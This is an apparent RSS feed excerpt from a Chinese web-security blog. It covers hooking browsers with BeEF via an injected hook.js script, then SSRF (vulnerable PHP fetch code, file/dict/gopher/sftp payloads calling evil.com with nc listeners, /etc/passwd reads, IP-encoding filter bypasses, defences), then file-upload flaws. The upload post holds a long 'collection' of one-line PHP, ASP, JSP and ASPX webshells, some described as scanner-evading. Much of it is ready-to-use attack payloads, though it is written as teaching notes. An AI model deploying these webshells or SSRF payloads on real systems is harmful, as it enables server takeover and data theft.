&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-11-xss/86311b686a-2019110223274037.png&quot; alt=&quot;2019110223274037&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开启BeEF服务器（可以命令行beef-xss打开或者应用程序打开），接着用浏览器访问管理页面http://192.168.133.131:3000/ui/panel， 使用设置的用户/密码登录。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-11-xss/f0448a2ecf-20191102233805218.png&quot; alt=&quot;20191102233805218&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着访问有勾子的页面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.133.131:3000/demos/basic.html 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的主机名和端口号要按照你设置的来修改， 这里要注意一下kali下beef版本的勾子不支持IE8，最新版或者旧一些的版本可以。所以要使用其他浏览器来访问有勾子的页面。
下面给出一个写有勾子的页面，把创建文件test.html，并把下面内容写到其中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script src=&apos;http://192.168.133.131:3000/hook.js&apos;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;!-- 这里的主机和端口号，需要 和配置文件的一致。 --&amp;gt; 
&amp;lt;/head&amp;gt; 
&amp;lt;body&amp;gt; Hello World &amp;lt;/body&amp;gt; 
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着使用一个浏览器来打开，那么这个浏览器就会被hook了。 查看管理页面UI会是类似下面图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-11-xss/55a3138a9d-20191102234044339.png&quot; alt=&quot;20191102234044339&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着我们就可以在commands里面进行各种操作了比如
获取cookie&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-11-xss/9106dde7f4-20191102234902497.png&quot; alt=&quot;20191102234902497&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>SSRF 服务端请求伪造漏洞</title><link>https://wangyi187.top/posts/web-13-ssrf/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-13-ssrf/</guid><description>0x13 SSRF漏洞 一、SSRF是什么？ 二、SSRF漏洞原理 三、SSRF漏洞挖掘 1、分享 通过URL地址分享网页内容 2、转码服务 3、在线翻译 4、图片、文章收藏功能 </description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x13 SSRF漏洞&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、SSRF是什么？&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二、SSRF漏洞原理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-13-ssrf/d7bbeb294c-b53de209637a4a88853e1762d639b5d3.png&quot; alt=&quot;b53de209637a4a88853e1762d639b5d3&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	比如,黑客操作服务端从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、SSRF漏洞挖掘&lt;/h3&gt;
&lt;h4&gt;1、分享&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;通过URL地址分享网页内容&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-13-ssrf/6acbd68449-42baaa5c04db4247ac6a165e9a04bf6e.jpg&quot; alt=&quot;42baaa5c04db4247ac6a165e9a04bf6e&quot; /&gt;2、转码服务&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;    通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览:由于手机屏幕大小的关系，直接浏览网页内容的时候会造成许多不便，因此有些公司提供了转码功能，把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、在线翻译&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-13-ssrf/d447bfb188-51eb3f63a4194393b9e40bb24ef2ad00.png&quot; alt=&quot;51eb3f63a4194393b9e40bb24ef2ad00&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4、图片、文章收藏功能&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	此处的图片、文章收藏中的文章收藏就类似于分享功能中获取URL地址中title以及文本的内容作为显示，目的还是为了更好的用户体验，而图片收藏就类似于功能四、图片加载。
	
	http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、未公开的api实现以及其他调用URL的功能&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;此处类似的功能有360提供的网站评分，以及有些网站通过api获取远程地址xml文件来加载内容。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-13-ssrf/8c3523c05b-bbfdd4dc48ce469abb5f0372fcd86613.png&quot; alt=&quot;bbfdd4dc48ce469abb5f0372fcd86613&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;6、图片加载与下载&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	通过URL地址加载或下载图片，图片加载远程图片地址此功能用到的地方很多，但大多都是比较隐秘，比如在有些公司中的加载自家图片服务器上的图片用于展示。
	
	(此处可能会有人有疑问，为什么加载图片服务器上的图片也会有问题，直接使用img标签不就好了?没错是这样，但是开发者为了有更好的用户体验通常对图片做些微小调整例水印、压缩等所以就可能造成SSRF问题)。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7、从URL关键字中寻找&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;利用google语法加上这些关键字去寻找SSRF漏洞

share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;简单来说：所有目标服务器会从自身发起请求的功能点，且我们可以控制地址的参数，都可能造成SSRF漏洞
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、产生SSRF漏洞的函数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;SSRF攻击可能存在任何语言编写的应用，接下来将举例php中可能存在SSRF漏洞的函数。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1、file_get_contents&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上，并展示给用户。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if (isset($_POST[&apos;url&apos;])) 
{ 
$content = file_get_contents($_POST[&apos;url&apos;]); 
$filename =&apos;./images/&apos;.rand().&apos;;img1.jpg&apos;; 
file_put_contents($filename, $content); 
echo $_POST[&apos;url&apos;]; 
$img = &quot;&amp;lt;img src=\&quot;&quot;.$filename.&quot;\&quot;/&amp;gt;&quot;; 
} 
echo $img; 
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、sockopen()&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;以下代码使用fsockopen函数实现获取用户制定url的数据（文件或者html）。这个函数会使用socket跟服务器建立tcp连接，传输原始数据。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
function GetFile($host,$port,$link) 
{ 
$fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
if (!$fp) { 
echo &quot;$errstr (error number $errno) \n&quot;; 
} else { 
$out = &quot;GET $link HTTP/1.1\r\n&quot;; 
$out .= &quot;Host: $host\r\n&quot;; 
$out .= &quot;Connection: Close\r\n\r\n&quot;; 
$out .= &quot;\r\n&quot;; 
fwrite($fp, $out); 
$contents=&apos;&apos;; 
while (!feof($fp)) { 
$contents.= fgets($fp, 1024); 
} 
fclose($fp); 
return $contents; 
} 
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、curl_exec()&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;CURL这是另一个非常常见的实现，它通过PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中，并附加了一个随机数和“.txt”文件扩展名。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
if (isset($_POST[&apos;url&apos;]))
{
$link = $_POST[&apos;url&apos;];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
 
$filename = &apos;./curled/&apos;.rand().&apos;.txt&apos;;
file_put_contents($filename, $result); 
echo $result;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、注意事项&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;一般情况下PHP不会开启fopen的gopher wrapper

file_get_contents的gopher协议不能URL编码

file_get_contents关于Gopher的302跳转会出现bug，导致利用失败

curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转

file_get_contents() file_get_contents支持php://input协议
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五、SSRF中URL的伪协议&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;当我们发现SSRF漏洞后，首先要做的事情就是测试所有可用的URL伪协议
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;file:/// 从文件系统中获取文件内容，如，file:///etc/passwd

dict:// 字典服务器协议，访问字典资源，如，dict:///ip:6739/info：

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务，可使用gopherus生成payload
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1、file&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;这种URL Schema可以尝试从文件系统中获取文件：

http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求，或启用了白名单防护机制，只需使用如下所示的URL Schema就可以绕过这些限制：
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、dict&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表：

http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、sftp&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	在这里，Sftp代表SSH文件传输协议（SSH File Transfer Protocol），或安全文件传输协议（Secure File Transfer Protocol），这是一种与SSH打包在一起的单独协议，它运行在安全连接上，并以类似的方式进行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、ldap://或ldaps:// 或ldapi://&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、tftp://&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;TFTP（Trivial File Transfer Protocol,简单文件传输协议）是一种简单的基于lockstep机制的文件传输协议，它允许客户端从远程主机获取文件或将文件上传至远程主机。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、gopher://&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Gopher是一种分布式文档传递服务。利用该服务，用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-&amp;lt;?php header(&apos;Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest&apos;);?&amp;gt;
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六、SSRF漏洞利用（危害）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1.可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序（比如溢出）;

3.对内网web应用进行指纹识别，通过访问默认文件实现;

4.攻击内外网的web应用，主要是使用get参数就可以实现的攻击（比如struts2，sqli等）;

5.利用file协议读取本地文件等。.

6.各个协议调用探针：http,file,dict,ftp,gopher等

http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;七、SSRF绕过方式&lt;/h3&gt;
&lt;h4&gt;1、&lt;strong&gt;常见的绕过方式&lt;/strong&gt;&lt;/h4&gt;
&lt;h5&gt;1.限制为http://www.xxx.com域名时（利用@）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;可以尝试采用http基本身份认证的方式绕过

如：http://www.aaa.com@www.bbb.com@www.ccc.com，在对@解析域名中，不同的处理函数存在处理差异

在PHP的parse_url中会识别www.ccc.com，而libcurl则识别为www.bbb.com。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.采用短网址绕过&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;比如百度短地址https://dwz.cn/

可以利用在线短网址生成器（https://45t.cn/）将其他网址进行短网址转化绕过

把一个非常长感觉不怀好意的网址变成一个短小看不出来是什么的短网址
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3.采用进制转换&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1

八进制：0177.0.0.1

十六进制：0x7f.0.0.1

十进制：2130706433
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-13-ssrf/e02567ab0f-53ec3e464c5f426489983a2f5b83f73d.png&quot; alt=&quot;53ec3e464c5f426489983a2f5b83f73d&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;4.利用特殊域名&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;原理是DNS解析。xip.io可以指向任意域名，即

127.0.0.1.xip.io，可解析为127.0.0.1

(xip.io 现在好像用不了了，可以找找其他的)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;5.利用[::]&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;可以利用[::]来绕过localhost

http://169.254.169.254&amp;gt;&amp;gt;http://[::169.254.169.254]
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;6.利用句号&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;127。0。0。1 &amp;gt;&amp;gt;&amp;gt; 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;7、CRLF编码绕过&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;%0d-&amp;gt;0x0d-&amp;gt;\r回车

%0a-&amp;gt;0x0a-&amp;gt;\n换行

进行HTTP头部注入

example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a 
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;8.利用封闭的字母数字&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ &amp;gt;&amp;gt;&amp;gt; example.com
http://169.254.169.254&amp;gt;&amp;gt;&amp;gt;http://[::①⑥⑨｡②⑤④｡⑯⑨｡②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、常见限制&lt;/h4&gt;
&lt;h5&gt;1.限制为http://www.xxx.com域名&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;采用http基本身份认证的方式绕过，即

@http://www.xxx.com@www.xxc.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.限制请求IP不为内网地址&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;当不允许ip为内网地址时：

（1）采取短网址绕过

（2）采取特殊域名

（3）采取进制转换
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3.限制请求只为http协议&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;（1）采取302跳转

（2）采取短地址
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;八、SSRF漏洞防御&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;通常有以下5个思路：

1,过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口，比如，80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据，攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>文件上传漏洞</title><link>https://wangyi187.top/posts/web-14-file-upload/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-14-file-upload/</guid><description>0x14 文件上传漏洞 一、什么是文件上传漏洞 二、什么是webshell 三、一句话木马/获得shell的工具 常用的webshell就是一句话木马，结合中国蚁剑、中国菜刀或者h</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x14 文件上传漏洞&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、什么是文件上传漏洞&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二、什么是webshell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称之为一种网页后门。攻击者在入侵了一个网站后，通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起，然后使用浏览器来访问这些后门，得到一个命令执行环境，以达到控制网站服务器的目的（可以上传下载或者修改文件，操作数据库，执行任意命令等）。 WebShell后门隐蔽较性高，可以轻松穿越防火墙，访问WebShell时不会留下系统日志，只会在网站的web日志中留下一些数据提交记录
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、一句话木马/获得shell的工具&lt;/h3&gt;
&lt;p&gt;常用的webshell就是一句话木马，结合中国蚁剑、中国菜刀或者hackbar等工具可以很高效快捷的获得网站shell。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;蚁剑

菜刀：网站的版本太老了。

冰蝎：https://github.com/rebeyond/behinder

哥斯拉：https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1、&lt;strong&gt;常用的一句话木马&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php   
@eval($_REQUEST[&apos;admin&apos;]);
?&amp;gt;
    
@：错误抑制符
    
eval：把字符串作为PHP代码执行
 
request：相当于get和post的结合
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、测试类phpinfo()&lt;/h4&gt;
&lt;p&gt;[这个要是能显现出来基本上可以判断为有文件上传漏洞]&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php   
phpinfo()
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-14-file-upload/9e5f8f56b5-v2-221b5df185badaa563bf5f91319a462f_r.jpg&quot; alt=&quot;v2-221b5df185badaa563bf5f91319a462f_r&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;3、一句话木马大全&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;##PHP：
&amp;lt;?php @eval($_POST[&apos;r00ts&apos;]);?&amp;gt; 
&amp;lt;?php phpinfo();?&amp;gt;
&amp;lt;?php @eval($_POST[cmd]);?&amp;gt;
&amp;lt;?php @eval($_REQUEST[cmd]);?&amp;gt;
&amp;lt;?php assert($_REQUEST[cmd]); ?&amp;gt;
&amp;lt;?php //?cmd=phpinfo() @preg_replace(&quot;/abc/e&quot;,$_REQUEST[&apos;cmd&apos;],&quot;abcd&quot;); ?&amp;gt;
&amp;lt;?php 
//?cmd=phpinfo();
$func =create_function(&apos;&apos;,$_REQUEST[&apos;cmd&apos;]);
$func();
?&amp;gt;

&amp;lt;?php
//?func=system&amp;amp;cmd=whoami
$func=$_GET[&apos;func&apos;];
$cmd=$_GET[&apos;cmd&apos;];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?&amp;gt;

&amp;lt;?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET[&apos;cmd&apos;]);
?&amp;gt;

&amp;lt;?php 
//?cmd=phpinfo()
$cmd=$_GET[&apos;cmd&apos;];
$array[0]=$cmd;
call_user_func_array(&quot;assert&quot;,$array);
?&amp;gt;

&amp;lt;?php 
//?func=system&amp;amp;cmd=whoami
$cmd=$_GET[&apos;cmd&apos;];
$array1=array($cmd);
$func =$_GET[&apos;func&apos;];
array_filter($array1,$func);
?&amp;gt;

&amp;lt;?php usort($_GET,&apos;asse&apos;.&apos;rt&apos;);?&amp;gt; php环境&amp;gt;=&amp;lt;5.6才能用
&amp;lt;?php usort(...$_GET);?&amp;gt;  php环境&amp;gt;=5.6才能用
&amp;lt;?php eval($_POST1);?&amp;gt; 
&amp;lt;?php if(isset($_POST[&apos;c&apos;])){eval($_POST[&apos;c&apos;]);}?&amp;gt; 
&amp;lt;?php system($_REQUEST1);?&amp;gt; 
&amp;lt;?php ($_=@$_GET1).@$_($_POST1)?&amp;gt; 
&amp;lt;?php eval_r($_POST1)?&amp;gt; 
&amp;lt;?php @eval_r($_POST1)?&amp;gt;//容错代码 
&amp;lt;?php assert($_POST1);?&amp;gt;//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
&amp;lt;?$_POST[&apos;c&apos;]($_POST[&apos;cc&apos;]);?&amp;gt; 
&amp;lt;?$_POST[&apos;c&apos;]($_POST[&apos;cc&apos;],$_POST[&apos;cc&apos;])?&amp;gt; 
&amp;lt;?php @preg_replace(&quot;/[email]/e&quot;,$_POST[&apos;h&apos;],&quot;error&quot;);?&amp;gt;/*使用这个后,使用菜刀一句话客户端在配置连接的时候在&quot;配置&quot;一栏输入*/:&amp;lt;O&amp;gt;h=@eval_r($_POST1);&amp;lt;/O&amp;gt; 
&amp;lt;?php echo `$_GET[&apos;r&apos;]` ?&amp;gt; 

&amp;lt;script language=&quot;php&quot;&amp;gt;@eval_r($_POST[sb])&amp;lt;/script&amp;gt; //绕过&amp;lt;?限制的一句话

&amp;lt;?php (])?&amp;gt;   上面这句是防杀防扫的！网上很少人用！可以插在网页任何ASP文件的最底部不会出错，比如 index.asp里面也是可以的！

&amp;lt;?if(isset($_POST[&apos;1&apos;])){eval($_POST[&apos;1&apos;]);}?&amp;gt;&amp;lt;?php system ($_REQUEST[1]);?&amp;gt; 
加了判断的PHP一句话，与上面的ASP一句话相同道理，也是可以插在任何PHP文件 的最底部不会出错！

&amp;lt;%execute request(“class”)%&amp;gt;&amp;lt;%&apos;&amp;lt;% loop &amp;lt;%:%&amp;gt;&amp;lt;%&apos;&amp;lt;% loop &amp;lt;%:%&amp;gt;&amp;lt;%execute request (“class”)%&amp;gt;&amp;lt;%execute request(“class”)&apos;&amp;lt;% loop &amp;lt;%:%&amp;gt; 
无防下载表，有防下载表可尝试插入以下语句突破的一句话 

&amp;lt;%eval(request(“1″)):response.end%&amp;gt; 备份专用
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;##JSP：

&amp;lt;%if(request.getParameter(&quot;f&quot;)!=null)(newjava.io.FileOutputStream (application.getRealPath(&quot;\\&quot;)+request.getParameter(&quot;f&quot;))).write (request.getParameter(&quot;t&quot;).getBytes());%&amp;gt; 
提交客户端 
&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&amp;lt;textareaname=&quot;t&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;input type=&quot;submit&quot;value=&quot;提交&quot;&amp;gt;&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;##ASP

&amp;lt;%eval(Request.Item[&quot;r00ts&quot;],”unsafe”);%&amp;gt;

&amp;lt;%IfRequest(“1″)&amp;lt;&amp;gt;”&quot;ThenExecuteGlobal(Request(“1″))%&amp;gt; 

&amp;lt;%execute(request(“1″))%&amp;gt; 

&amp;lt;scriptrunat=server&amp;gt;execute request(“1″)&amp;lt;/script&amp;gt; 不用&apos;&amp;lt;,&amp;gt;‘的asp一句话 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;##aspx

&amp;lt;scriptrunat=”server”&amp;gt;WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);&amp;lt;/script&amp;gt; 

&amp;lt;script language=&quot;C#&quot;runat=&quot;server&quot;&amp;gt;WebAdmin2Y.x.y a=new WebAdmin2Y.x.y(&quot;add6bb58e139be10&quot;)&amp;lt;/script&amp;gt; 

&amp;lt;%eval request(chr(35))%&amp;gt;  不用双引号的一句话。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、产生文件上传漏洞的原因&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、对于上传文件的后缀名（扩展名）没有做较为严格的限制

2、对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查

3、权限上没有对于上传的文件目录设置不可执行权限，（尤其是对于shebang类型的文件）

4、对于web server对于上传文件或者指定目录的行为没有做限制
&lt;/code&gt;&lt;/pre&gt;
